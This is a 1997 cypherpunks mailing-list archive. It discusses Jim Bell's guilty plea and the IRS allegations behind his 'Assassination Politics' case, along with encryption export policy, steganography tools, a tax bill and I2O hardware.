MIME-Version: 1.0
Content-Type: text/plain



I just spoke with Peter Avenia, a Federal public defender representing Jim
Bell. He said that Bell did indeed plead guilty last Friday to two felony
counts and sentencing is set for October. Apparently at least the thrust of
this "IRS Inspection" press release is accurate.

Avenia knew nothing about it, though.

-Declan

PS: I'm attaching an excerpt from my IU article in this month's issue.

************

(unedited)

Internet Underground
July 1997

Assassination Politics

Jim Bell wants to overthrow the government. He'll
have to get out of jail first.

By Declan McCullagh (declan@well.com)

[...]

IRS agents arrested Bell on May 16 and charged
him with obstructing government employees and
using false Social Security numbers. Now, this is
hardly attempting "to overthrow the government."
But government agents insist Bell is far more
dangerous than the charges suggest. (The judge
seemed to agree: at the time of this writing,
Bell is being held without bail.)

The latest IRS documents filed with the court
label Bell a terrorist. They claim he talked
about sabotaging the computers in Portland,
Oregon's 911 center, contaminating a local water
supply with a botulism toxin, extracting a poison
called Ricin from castor beans, and manufacturing
Sarin nerve gas. He allegedly bought and tested
some of the chemicals. "Bell has taken overt
steps to implement his overall plan by devising,
obtaining, and testing the materials needed to
carry out attacks against the United States,
including chemicals, nerve agents, destructive
carbon fibers, firearms, and explosives," the
complaint says.

But what really got the IRS in a stink was what
happened a month after they seized Bell's car.
The complaint says: "On March 16, 1997, a Sunday,
an IRS employee noted a strong odor in the
Federal building. On March 17, 1997, several IRS
employees had to be placed on leave due to the
odor, and another employee reported other ill
effects. The odor was traced to a mat and
carpeting... just outside the IRS office
entrance." The chemical proved to be "mercaptan,"
with which Bell's friends say he doused
an adversary's law office in the early 1980s.

Yet if Bell was a crypto-terrorist, he was a
singularly idle one. This is a problem with the
IRS' accusations: if true, they prove too much.
If Bell was bent on toppling the government, and
his exploits date back from the early 1980s, why
are they such laughably juvenile and ineffectual
ones? Stink-bombing offices isn't a Federal
felony, nor should it be.

"I would've thought this would be 'malicious
mischief,' at most," Tim May, one of the founders
of the cypherpunks, writes. "People who've done
far, far, far worse are left unprosecuted in
every major jurisdiction in this country. The
meat thrown to the media -- the usual AP stuff,
mixed in with 'radical libertarian' descriptions
-- is just to make the case more
media-interesting... It sure looks like they're
trying to throw a bunch of charges against the
wall and hope that some of them stick -- or scare
Bell into pleading to a lesser charge."

Since his arrest, the denizens of the cypherpunks
list, where Bell introduced and refined his
ideas, have become generally sympathetic. Gone is
the snarling derision, the attacks on his ideas
as too extreme. Now a sense of solidarity has
emerged. One 'punk wrote: "I have decided that I
cannot in good conscience allow Jim Bell's
persecution for exercising his basic human right
to free speech to pass by without taking personal
action to support him."

---

When I talked to Bell a few days before his
arrest, he spoke calmly and with little rancor
about the pending investigation. I couldn't tell
how he felt after being raided and interrogated
by his arch-enemy, the IRS. But imagine
continuously railing on the Net against
jackbooted thugs, then having real ones bash down
your front door.

Bell was most interested in talking up
Assassination Politics and predicting how it
would eventually blossom. He had just published
an op-ed in a local newspaper saying "the whole
corrupt system" could be stopped. "Whatever my
idea is, it's not silly. There are a lot of
adjectives you can use, but not silly," he told
me. "I feel that the mere fact of having such a
debate will cause people to realize that they no
longer have to tolerate the governments they
previously had to tolerate. At that point I think
politicians will slink away like they did in
eastern Europe in 1989. They'll have lost the
war."

He told me why he became convinced that the
government needed to be lopped off at the knees.
Bell's epiphany came after he ordered a chemical
from a supply firm and was arrested when he
failed to follow EPA regulations. "That
radicalized me," he said. "That pissed me off. I
figured I'd get back at them by taking down their
entire system. That's how I'd do it."'

Moral issues aside, one of the problems plaguing
Bell's scheme is that it's not limited to
eliminating "government thugs who violate your
rights," as he likes to describe it. If it
existed, anyone with some spare change could wipe
out a nosy neighbor or even an irritating grocery
store clerk. After I pointed this out to Bell on
the phone, he fired email back a few days later
saying, "Assuming a functioning Assassination
Politics system, nothing stops you from
contributing to my death." He suggested that
maybe assassins would develop scruples: "You'd
be able to purchase deaths of unworthy people,
but it might be only at a dramatically higher
price. Doable but not particularly economical."

---

Consider the case of Jake Baker, the University
of Michigan student who was arrested after
posting fantasies to Usenet about raping and
killing a classmate. A Federal judge eventually
threw out the charges, ruling Baker never
intended to act and the tale was "only a rather
savage and tasteless piece of fiction."

The government argues Bell intends to act. Their
court documents sketch a dark outline of a
computer geek increasingly distressed by and
disillusioned with society. He becomes
rebellious, anarchistic. But being an anarchist
isn't a crime; I've even dated one. Nor is it
against the law to bash the IRS. Some Republican
legislators make a career out of it. Even
collecting the home numbers of Federal employees
isn't a crime. What is against the law is when
speech becomes action, when online bravado
crosses the line and becomes direct threats -- or
a vial of botulism, on its way to a nearby
reservoir.

Which is the real question: Did Bell step beyond
mailing list posturing? Is he just fantasizing?
Did he intend to take real-world steps to erase
some Feds, or were his posts just megabytes of
bone-chilling blather? The IRS says it has
evidence of Bell's lethal intent but many
netizens who know Bell believe he's only a
harmless loon.

The Supreme Court has ruled that speech can be
suppressed only if it is intended, and is likely
to produce, "imminent lawless action." Since
Bell's manuscripts have drifted around the dusty
corners of cyberspace for years -- to no
discernible effect -- a prosecutor will be
hard-pressed to argue they're dangerous. Eric
Freedman, a constitutional law professor at
Hofstra Law School, says that Bell's writings are
protected by the First Amendment. The Supreme
Court's legal test "is not going to be met where
someone writes a speculative essay about what the
world would be like if such a system were in
place," he says.

Bell now faces a Federal grand jury and a
possible trial. "There are a lot of insinuations
and innuendo in the complaint but not a whole lot
of hard core criminal activity," says Peter
Avenia, a Federal public defender representing
Bell. "If you read the complaint and listen to
the testimony at the hearing, the government's
clearly concerned that Jim Bell may have been
planning to do any number of things. But when it
came down to showing any clear danger, the most
they could come up with is that they think he
might be involved in planning a stink bomb. It's
difficult to untangle the fear and hype from
what's going on."



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sar <sar@cynicism.com>
Date: Tue, 22 Jul 1997 03:32:26 +0800
To: cypherpunks@toad.com
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <3.0.2.32.19970719235239.007daeb0@box.cynicism.com>
Message-ID: <3.0.2.32.19970721141349.007e5100@box.cynicism.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:20 PM 7/21/97 -0400, you wrote:
>On Sun, 20 Jul 1997, sar wrote:
>
>> >There are some crypto plugins for MS, but nothing I know of will bury your
>> >info encrypted with DES or IDEA in the lsbs of a .wav file.
>> 
>> take a look at  http://members.iquest.net/~mrmil/stego.html it has
>> steganography programs for win95,dos,mac and amiga. as well as links to
>> other stego pages and a paper on " covert channels in the tcp/ip suite" 
>
>I took a look and everything I have seen can do stego, and some
>encryption, but it is one file in one file.
>
>I was not clear because the loop device can mount a filesystem, and
>encrypt and/or stego an entire directory tree in one file transparently,
>so I can mount my stego-crypto image on /home/me and do everything as I
>normally would on an unencrypted partition.
>
>ftp://csclub.uwaterloo.ca/pub/linux-stego/index.html
>
>I can do the same with CFS, but it doesn't do stego, and I don't know if
>it is available for many platforms outside unix.
>
>--- reply to tzeruch - at - ceddec - dot - com ---
>

there are programs witch let you encrypt entire disk volumes transparently
for dos and windows such as 'Secure FileSystem' available at
http://www.cs.auckland.ac.nz/~pgut001/sfs.html. I've never used any such
programs so I really cant say with any confidence how well or if they work..





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 22 Jul 1997 02:45:15 +0800
To: cypherpunks@Algebra.COM
Subject: House Tries to Liberate ICs
Message-ID: <3.0.2.32.19970721142051.006c6e60@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Notice how the following article does not mention the fact that ICs sometimes 
neglect to send those quarterly tax payments in on time and this is why the 
Feds dislike them.  It's not going to happen, but it would be fun if it 
did...

July 20, 1997

Item in Tax Bill Poses a Threat to Job Benefits

By STEVEN GREENHOUSE

In Congress and in thousands of workplaces, the nation's business community 
is seeking to change longstanding rules and practices to turn many people 
classified as employees into independent contractors -- a move that could 
cause many Americans to lose health insurance and pension and unemployment 
insurance benefits.

In a little-noticed provision in its tax bill, the House of Representatives 
has approved a new -- and, many experts say, more inclusive -- test to 
determine who is an independent contractor. The Clinton administration is 
fighting the provision, asserting that it would strip millions of workers of 
their basic benefits. But business groups say the legislation is needed to 
clarify the often fuzzy definition of who is an independent contractor.

Outside Capitol Hill, employers ranging from small construction companies to 
giants like Microsoft and Pacific Bell are increasingly hiring new workers as 
independent contractors rather than as traditional employees -- a not 
entirely new practice that is expanding rapidly as employers strain to cut 
costs.

Such a strategy not only gives employers more flexibility to shrink their 
work forces, but it saves them thousands of dollars per worker because 
companies do not have to make Social Security, Medicare, unemployment 
insurance or workers' compensation contributions for independent contractors.

"What's clear is employers are seeking increasingly to have more flexible 
arrangements," said Sara Horowitz, the executive director of Working Today, 
an advocacy group on workplace issues. "But what that means in reality is 
people are working increasingly without benefits. They're working not only 
without health coverage but without the protections of the major labor 
legislation of this century: pensions, minimum wage, occupational safety, 
unemployment insurance, age discrimination. The list goes on."

Opponents of this practice say companies are wrongly lumping people usually 
considered employees, like truck drivers and middle-level managers, into the 
independent contractor category, which traditionally referred to people in 
business for themselves.

At last year's Olympic Games in Atlanta, for example, several hundred 
broadcast technicians hired by the Atlanta Committee for the Olympic Games 
had to sign contracts saying they were freelance independent contractors 
rather than employees, who are protected by overtime and unemployment 
insurance laws.

A Maryland catering company that books 1,000 events a year insists that the 
75 waiters it hires on average for each event are independent contractors, 
not employees.

Texas A&M University recently hired 400 low-wage farm workers for its 18 
agricultural extension programs and classified them as independent 
contractors rather than employees -- a move the IRS found to be illegal.

Pacific Bell laid off hundreds of experienced middle managers several years 
ago and has hired many of them back as independent contractors, but without 
the health insurance, pension plan and unemployment coverage they used to 
have.

Corporate America defends the trend toward hiring independent contractors, 
saying it gives companies the flexibility to cut back easily during 
downturns. Business groups also assert that because this is an age when 
Americans are becoming more entrepreneurial and are increasingly working at 
home thanks to computers, it only makes sense to classify more workers as 
contractors.

The corporate groups that have persuaded the House and are pushing the Senate 
to rewrite the definition of who is an independent contractor contend that 
the legislation is needed because the common-law definition is arcane and 
vague. They say that because many companies fear harsh IRS punishment, 
existing law pushes employers to classify workers as employees when they 
should be considered independent contractors.

Nelson Litterst, manager of legislative affairs for the National Federation 
of Independent Business, a small-business group that is pushing hard for the 
legislation, said: "The interest of small business has never been to find 
loopholes in the law to create wholesale switches of workers to independent 
contractors. Our intention is to clarify the definition so there is less of a 
gray area."

But a senior Treasury Department official argued that the provision passed by 
the House appeared intended to greatly increase the number of independent 
contractors, currently 8.3 million.

"The number of employees who will be shifted will be in the millions," said 
the official, who characterized the House legislation as far broader than 
traditional definitions of independent contractor. "I'm not even sure if I 
would characterize this provision as a sieve. A sieve at least strains things 
out."

Martin Regalia, chief economist for the U.S. Chamber of Commerce, interprets 
the House language far more restrictively, saying it merely defines borders 
instead of opening up new territory. "To allege there will be wholesale 
expansion of independent contractors and that thousands of individuals will 
lose their benefits is pure rhetoric," he said.

The AFL-CIO is working to torpedo the House provision on independent 
contractors, insisting that it would eliminate basic protections for millions 
of workers, creating a cost advantage for many employers that would in turn 
push their competitors to transform their workers into independent 
contractors.

That trend is especially worrisome for organized labor, which is struggling 
to increase its ebbing numbers, because independent contractors are not 
allowed to form or join unions under federal labor law.

"What you have here is another window into the Republican leadership's view 
of the role of government," said Peggy Taylor, the labor federation's 
director of legislative affairs. "In this instance, they're trying to put 
government on the side of those corporations and employers who want to get 
away from any responsibilities for the people who work for them."

Because the House included the independent contractor provision in its tax 
bill, but the Senate inserted no such language in its tax bill, 
administration officials and members of Congress say it is hard to predict 
whether conferees will keep the provision in the final tax bill.

The House language, introduced by Rep. Jon Christensen, R-Neb., sets up three 
tests to determine who is an independent contractor:

First, there should be a written contract between the worker and the company.

Second, the worker has a principal place of business that is not the 
company's, does not work primarily at the company's place of business or 
rents an office at the company. An alternative second test is whether the 
worker is not required to work exclusively for the company and whether the 
worker performed a significant amount of work for other companies the 
previous year.

If a worker meets the first and second tests, satisfying any of the following 
criteria makes a worker an independent contractor: The worker has "a 
significant investment in assets and/or training," the worker is primarily 
paid on commission, the worker has significant unreimbursed expenses or the 
worker's service is for a specific amount of time to complete a specific 
task.

Regalia, the Chamber of Commerce economist, said these criteria would create 
far more certainty than the common-law test, which turns on whether the 
employer controls not just the results of a worker's service but the means a 
worker uses, such as the route a worker drives or how a worker dresses.

But analyses prepared by the Clinton administration and the AFL-CIO indicate 
that the new test will sweep many more workers into the independent 
contractor category. Pizza deliverers could easily become independent 
contractors because they do not work primarily on their company's place of 
business, they own their cars (a significant investment in assets), and they 
obtain most earnings from tips (primarily paid by commissions).

Similarly, carpenters and painters might overwhelmingly be considered 
independent contractors because they own their tools (a significant 
investment in assets), they do no work on their company's premises and they 
might sign a contract to do a specific job over a specific period.

According to the Treasury, many secretaries could become independent 
contractors if companies pay them a little extra and then require them to buy 
their own computers and pay a modest rent for their offices.

Business groups criticize these analyses as ludicrous, insisting that 
corporations will not do wholesale reclassifications of traditional employees 
into contractors.

The AFL-CIO is leading the campaign to kill the provision in conference, 
arguing that when employees are turned into independent contractors, society 
at large will often have to foot the bill for those without health insurance 
or pensions. .

Organized labor and businesses are fighting about independent contractors in 
another forum: the National Labor Relations Board. There, they are disputing 
whether truck drivers for the Roadway Package System and for Dial-a-Mattress 
should be considered independent contractors.

If the board does not find them to be employees, that will be a huge setback 
to organized labor because independent contractors do not have the 
protections of the National Labor Relations Act to form unions and bargain 
collectively.

"We're heading into a two-tiered economy," said Ms. Horowitz of Working 
Today, the advocacy group. "The first tier has a New Deal safety net, 
protected by all the different labor laws. Then there is a second tier that's 
short term, flexible, many of them independent contractors. That tier doesn't 
receive benefits or labor law protections.

"The labor law and social protections are completely out of sync with this 
work force. If the rules of the game are changing and people are going to 
become independent contractors, then we have to have a new safety net that 
serves these people, too."


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 22 Jul 1997 03:07:01 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Jim Bell: "IRS Inspection" mail confirmed, IU article
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <3.0.2.32.19970721145141.006b0038@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:39 PM 7/21/97 -0400, Declan McCullagh wrote:
>I just spoke with Peter Avenia, a Federal public defender representing Jim
>Bell. He said that Bell did indeed plead guilty last Friday to two felony
>counts and sentencing is set for October. Apparently at least the thrust of
>this "IRS Inspection" press release is accurate.
>
>Avenia knew nothing about it, though.
>
>-Declan
>

I'll be curious to see what kind of deal he got.  It had better be an awfully 
good one (say "time served").  If not he was as dumb as toast.

He had a perfect chance to rake the Feds over the coals and try nasty 
disfavored defenses like Selective Prosecution.  Hard to win that one but he 
had as good a case as any one I've seen for that defense.  At the most, he 
would have gotten a short sentence if convicted.  Big deal.  

Since he was apparently not doing a great deal with his life in any case, he 
could have used it for some good.  Make the Feds spend hundreds of thousands 
of dollars on him and tie up their resources.  

Prison is no punishment for those who like to read and write.

In these political cases where the Feds are clearly overreaching, those who 
don't plead do much better than those who do.  This is the reverse of the 
situation in normal criminal cases.

Look at those in the Operation Sun Devil cases who plead vs. those who 
fought.  Or the Princeton Partners brokers who fought Rudy during the '80s 
Wall Street crackdown and won vs. Michael Milken who plead and ended up with 
the same sentence he would have received if he had been convicted.  Or even 
G. Gordon Liddy who refused to plead, was convicted and sentenced to a long 
sentence got pardoned (because of the disparity of his punishment) and is now 
more successful than all the rest of that crew put together.  

Don't plead in political cases.  It's stupid.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Tue, 22 Jul 1997 06:26:30 +0800
To: cypherpunks@cyberpass.net
Subject: R.I.P Jim Bell
In-Reply-To: <3.0.2.32.19970721145141.006b0038@panix.com>
Message-ID: <19970721220322.4472.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Duncan Frissell <frissell@panix.com> writes:

 > I'll be curious to see what kind of deal he got.  It had
 > better be an awfully good one (say "time served").  If not
 > he was as dumb as toast.

Let's hope it was not the "8 years" I heard on the evening news,
although I didn't catch whether that was just a possible
sentence, or the results of the plea bargain negotiations.

 > He had a perfect chance to rake the Feds over the
 > coals and try nasty disfavored defenses like
 > Selective Prosecution.  Hard to win that one but
 > he had as good a case as any one I've seen for
 > that defense.  At the most, he would have gotten a
 > short sentence if convicted.  Big deal.

Perhaps.  But he would have been tried in the media, and would
probably have been transformed into "Terrorist Jim Bell" at the
hands of the spin masters.  In the end, even if he won in court,
he would have been about as popular as OJ, and the entire
population of America would have learned to live their lives in
constant fear of smelly organic chemicals and nickel-plated
carbon fibers. Parents would be mail-ordering carbon fiber test
kits to use in their childrens' rooms.

 > Since he was apparently not doing a great deal with his
 > life in any case, he could have used it for some good.  Make
 > the Feds spend hundreds of thousands of dollars on him and
 > tie up their resources.

I would certainly try to make any such harrassment of me as
expensive as possible for those engaging in it.  On the other
hand, Bell does have living relatives, which makes unilateral
nose-thumbing at the state apparatus more risky.

 > Prison is no punishment for those who like to read and write.

Being bossed around by assholes is always annoying, regardless of
ones academic interests.

 > In these political cases where the Feds are clearly
 > overreaching, those who don't plead do much better than
 > those who do.  This is the reverse of the situation in
 > normal criminal cases.

Tell that to Robert "ream me again, please" Thomas of Amateur
Action BBS fame, who wasn't even accused of being a potential
terrorist, much less of trying to overthrow the entire
government.

 > Don't plead in political cases.  It's stupid.

Don't plead in political cases like Steve Jackson Games, PROMIS,
Operation Sun Devil, etc...  On the other hand, if you are
accused of being one of the actual Four Horsemen, and the feds
are holding press conferences on every channel with inflammatory
voice-over editorials describing the alleged contents of your
dwelling, some capitulation to the Barbarians may be necessary.

There are a number of adages which apply to this situation,
amongst them...

    Don't get involved in fights you can't win.

    When you aim for the King, shoot to kill.

    The goal of war is not to die for your country, but to make
    sure the enemy dies for theirs. 

    etc...

Enumerating Bell's violations of these common sense principles is
left as an exercise to the reader. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W. Downey" <Webmaster@CyberSpaceTechnologies.com>
Date: Tue, 22 Jul 1997 03:38:57 +0800
To: "cypherpunks@toad.com>
Subject: Interesting Question..
Message-ID: <33D3B726.C5C7DE0E@CyberSpaceTechnologies.com>
MIME-Version: 1.0
Content-Type: text/plain



Here is an interesting question. The U.S government has classified
encryption software as a munitions under the U.S ITAR regulations, which

will limit the export of same. They rarely if ever approve an export
unless they have thoroughly inspected it and have been given certain
shall we say assurances. Next they develop a number of different chips
that rely on a classified algorythm, which incidently they developed.
They say that they want the entire population of the U.S to use these
chips, going so far as to use their market power to put additional
pressure on enterprises to manufacture and use these chips. Next the FBI

howls thatt they need a law to ban domestic non-escrowed encryption.
Then we have the Congress trying to pass stricter laws regarding
encryption while screaming that they have to protect the children from
all this nasty stuff on the web. This they scream even though they can't

pass a balanced budget or manage to find enough money to educate those
self same kids. Next we have us, the general public, who are worried
that the government will abuse this proposed system. The government says

they won't, which we are supposed to believe even though their track
record shows that we can't trust them past the first money trough that
comes their way. That leaves one final question. How long until they
stop asking and pleading and start demanding we use this system of
theirs. How long until we become criminals by enacting our right not to
use it?

Interesting, don't you think?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Tue, 22 Jul 1997 04:14:39 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Jim Bell: "IRS Inspection" mail confirmed
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <3.0.2.32.19970721160624.006c670c@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 01:39 PM 7/21/97 -0400, Declan McCullagh wrote:
>
>I just spoke with Peter Avenia, a Federal public defender representing Jim
>Bell. He said that Bell did indeed plead guilty last Friday to two felony
>counts and sentencing is set for October. Apparently at least the thrust of
>this "IRS Inspection" press release is accurate.


Which two counts?  Do you know what the plea bargain is re: sentencing?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 22 Jul 1997 07:21:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: R.I.P Jim Bell
In-Reply-To: <3.0.2.32.19970721145141.006b0038@panix.com>
Message-ID: <v03102805aff99a4017cb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:03 PM -0700 7/21/97, Mike Duvos wrote:

>Perhaps.  But he would have been tried in the media, and would
>probably have been transformed into "Terrorist Jim Bell" at the
>hands of the spin masters.  In the end, even if he won in court,
>he would have been about as popular as OJ, and the entire
>population of America would have learned to live their lives in
>constant fear of smelly organic chemicals and nickel-plated
>carbon fibers. Parents would be mail-ordering carbon fiber test
>kits to use in their childrens' rooms.

I see some publishing opportunities:

"How to Tell if Your Child is a "Cypherpunk""

"What to do if your children display an unhealthy interest in chemistry."

"The 10 warning signs an information terrorist is in your community."

And the mother of all titles, "Fear, Uncertainty, and Doubt."

Next on Oprah, children who use cryptography to keep secrets from their
parents.

--Tim May

P.S. Will Bell be allowed to receive encrypted messages in jail? (Bell can
report to us firsthand the practical realities of both the "prisoner's
dilemma" and the use of covert channels to communicate with other prisoners
in plain sight.)

P.P.S. Earlier today Duncan opined that prison is a good place for people
who like to read and write. First, it depends on what they let one read.
Second, no Net access. Third, and most importantly, it depends critically
on what kind of prison one is in. If your cellmate is Bubba and he wants
you to be his "wife"...



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: apache@gargoyle.apana.org.au
Date: Mon, 21 Jul 1997 14:51:25 +0800
To: cypherpunks@cyberpass.net
Subject: TEST [IGNORE]
Message-ID: <199707210644.QAA13569@gargoyle.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: apache@gargoyle.apana.org.au
Date: Mon, 21 Jul 1997 15:57:07 +0800
To: cypherpunks@toad.com
Subject: TEST [IGNORE]
Message-ID: <199707210742.RAA13672@gargoyle.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



ex toad





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 22 Jul 1997 06:05:38 +0800
To: "cypherpunks" <cypherpunks@toad.com>
Subject: Re: Verisign gets export approval
Message-ID: <199707212144.RAA15989@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



I think you have to see the whole gameplan to understand what is going
on.

The issue is the "exportable" versions of Navigator and Internet
Explorer. Presumably Microsoft wants to release as strong a general
crypto solution as they can.

So if you are a merchant in the US selling to a European customer you
want to use 128bit encryption if it is available. The issue to consider
is not the 128bit certs, it is the client base. To access that base of
128bit "exportable" clients you have to have the magic certificate
whether or not you are in the US. Sameer's server is irrelevant, the
certificate is used to "throw the switch" on the client, not the server.

This only looks like it hands Uncle Sam a magic key if you consider the
single case. The problem is what the response of the other users of the
foreign certificates is should the government actually put its key to
use. The revocation must be a public act for it to be effective.

Certainly I can't imagine the US government asking Airbus industries to
hand over their accounts data so they can pass it straight on to Boeing.
I can't see it affecting any of the similar industrial espionage risks
that concern the companies likely to be allowed to use the system.

This is not a personal privacy issue, it is an individual talking to
large corporation who is not going to resist a lawful subpoena in any
case.

I don't think getting someone else to act as a CA would work either.
Whoever approved the scheme at the NSA would have insisted on the
clients requiring a cert directly signed off a root controled by a party
that had agreed to enforce the USG terms.

It would be much easier to circumvent the restrictions by replacing the
https transport component in Internet Explorer. The API is designed to
allow new protocols to be slotted in. It should not be a big hassle to
introduce a full and unrestricted SSL implementation.

All Verisign is doing is selling a cert that states that the holder is
trusted by the USG to operate on terms that it considers acceptable to
use 128bit encryption. If the USG no longer trusts the holder in that
manner the attribute is false and the cert should therefore be revoked.
The problem for the USG is that if the scheme succeeds it creates a
demand for 128 bit encryption that makes the revocation mechanism too
dangerous to use.

Freeh is essentially operating under the assumption that he can persuade
the Europeans to accept his proposals if he has more time to explain
them. I suspect that the opposite may be the case and that the
resistance to Freeh is informed about the ecconomic power that the
situation hands the US.


     Phill


Phillip M. Hallam-Baker
Visiting Scientist
MIT Laboratory for Artificial Intelligence.
Email: hallam@ai.mit.edu
http://www.ai.mit.edu/people/hallam/hallam.html
http://www.hallam.demon.co.uk/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 22 Jul 1997 09:31:46 +0800
To: cypherpunks@toad.com
Subject: Re: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <19970721180611.27600@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jul 21, 1997 at 10:29:37AM -0600, Jim Burnes wrote:
> 
[...]
> Re: Tim May's quote.  May is pointing out the truism that the world
> is full of weak-minded fools.

Almost everybody believes they are above average, believe it or not.

> This is the essential problem of
> the illusory democracy that we live in today.  Since in our 
> illusory democracy, the people falsely believe they've excercised their
> will via "the vote".

?

> The reality is that the sheeple, lulled into veritable unconsciouness with
> an unending stream of monday-night sports, the Home Shopping Channel (TM) 
> and Beavis and Butthead couldn't care a less as long as they feed on the
> media/social security/propaganda tit.  Their personal opinions, thorougly
> pre-chewed and digested are spoon-fed to them through a port in the side
> of their head labeled "fear".

Right.  So those people simply don't count, and might as well be
eliminated.

> May is just one of the people who has awoken from the anesthesia
> (self-induced or not).

No, Tim obviously lives in a world rich in fantasy.  But he is a very
clever fellow, and can be quite impressive.  

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 22 Jul 1997 09:53:14 +0800
To: cypherpunks@Algebra.COM
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <v03102810aff69260ceb1@[207.167.93.63]>
Message-ID: <19970721183800.02930@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Jul 19, 1997 at 07:12:35PM +0000, Paul Bradley wrote:
[...]
> Does anyone here who didn`t recieve a copy of the mail recall if they 
> ever mailed Jim directly, and not through the list?

I didn't receive a copy, and I had several private email discussions
with Jim Bell.

[...]

> The sending of this email to people Jim has communicated with, if it was 
> a real mail (I haven`t checked before but other people have and have said 
> the headers indicate it passed through several .gov hosts), constitutes 
> cowardly harrasment.

Oh, right.  If there is anyplace in cyberspace where experts in 
cowardly harassment by email exist, it is on this list.  Get real.

More likely someone at IRS thought they would stir things up a bit, 
and is having a bit of fun watching all this.  Maybe they even 
thought they were doing people a favor.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Tue, 22 Jul 1997 07:02:44 +0800
To: Mismatched NFS IDs <nobody@toad.com>
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <97Jul19.201054edt.32257@brickwall.ceddec.com>
Message-ID: <Pine.LNX.3.95.970721183747.25439E-100000@devel.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 19 Jul 1997, Mismatched NFS IDs wrote:

> I think that depends on what people start adopting.  If you want
> "geodesic" software, use Linux.  Pieces are there from every continent,
> and all any business needs to do to have a driver and applications written
> for any hardware is to release the spec.  It is flexible and upgradable
> and 'out of control', and is developed on the internet.  Interestingly
> enough, the only stego-crypto "device" I know of is the linux loop device.

Like a geodesic network, it naturally routes around obstructions or any
attempts to stop it.

This is a story I did for Wired News today about a possible attempt at
stopping free software in the most obvious manner -- close the hardware.
Notice the outcome.


   [1][USEMAP]
   [INLINE]
   [2][USEMAP]
   [3][USEMAP]
   
   
   
   [INLINE]
   _______________
   ______________
   
   
   
   
   [4][LINK]
   [INLINE]
   [5][LINK] _Consortium Segregates the Bus_
   
   _by [6]Michael Stutz _
   3:07pm  21.Jul.97.PDT A coming improvement to the PC architecture
   promises to dramatically enhance throughput for high-end servers,
   while at the same time only granting a select few the right to create
   software for it. Some programmers say this is a move by corporate
   giants like Microsoft to enforce a prohibition on the growing free
   software movement, and have begun to fight it.
   
   Intelligent Input/Output, or I20, is the technical specification for
   the next breed of high-end PC hardware devices invented by Intel and
   developed by the [7]I2O SIG, an industry consortium. Conforming
   hardware will help relieve I/O-intensive enterprise applications, such
   as client/server networking and videoconferencing, by taking the I/O
   load from the CPU, said consortium spokesman Michael LoBue. "It
   'tweaks' the basic architecture by offloading I/O processing from the
   CPU to a dedicated I/O processor," he said.
   
   This built-in processor is part of an intelligent I/O subsystem that
   would even allow I2O devices to communicate with each other - for
   example, a network card could make a request directly to a disk
